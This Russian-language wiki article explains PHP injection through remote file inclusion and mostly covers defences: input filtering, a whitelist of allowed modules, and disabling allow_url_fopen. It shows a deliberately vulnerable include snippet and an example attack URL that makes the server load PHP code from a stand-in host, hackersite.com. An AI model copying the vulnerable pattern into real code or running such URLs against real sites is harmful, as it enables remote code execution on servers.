ФЭНДОМ


PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:

  • eval(),
  • preg_replace() (с модификатором «e»),
  • require_once(),
  • include_once(),
  • include(),
  • require(),
  • create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример Править

<?
...
$module = $_GET['module'];
include $module . '.php';
...
?>

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты Править

Существует несколько способов защиты от такой атаки:

  • Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>
  • Проверять, что $module присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>

Этот способ является более эффективным, красивым и аккуратным.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

Ссылки Править

См. также Править

en:Remote File Inclusion es:Remote File Inclusion it:Remote File Inclusion sv:Remote File Inclusion

Обнаружено использование расширения AdBlock.


Викия — это свободный ресурс, который существует и развивается за счёт рекламы. Для блокирующих рекламу пользователей мы предоставляем модифицированную версию сайта.

Викия не будет доступна для последующих модификаций. Если вы желаете продолжать работать со страницей, то, пожалуйста, отключите расширение для блокировки рекламы.

Также на ФЭНДОМЕ

Случайная вики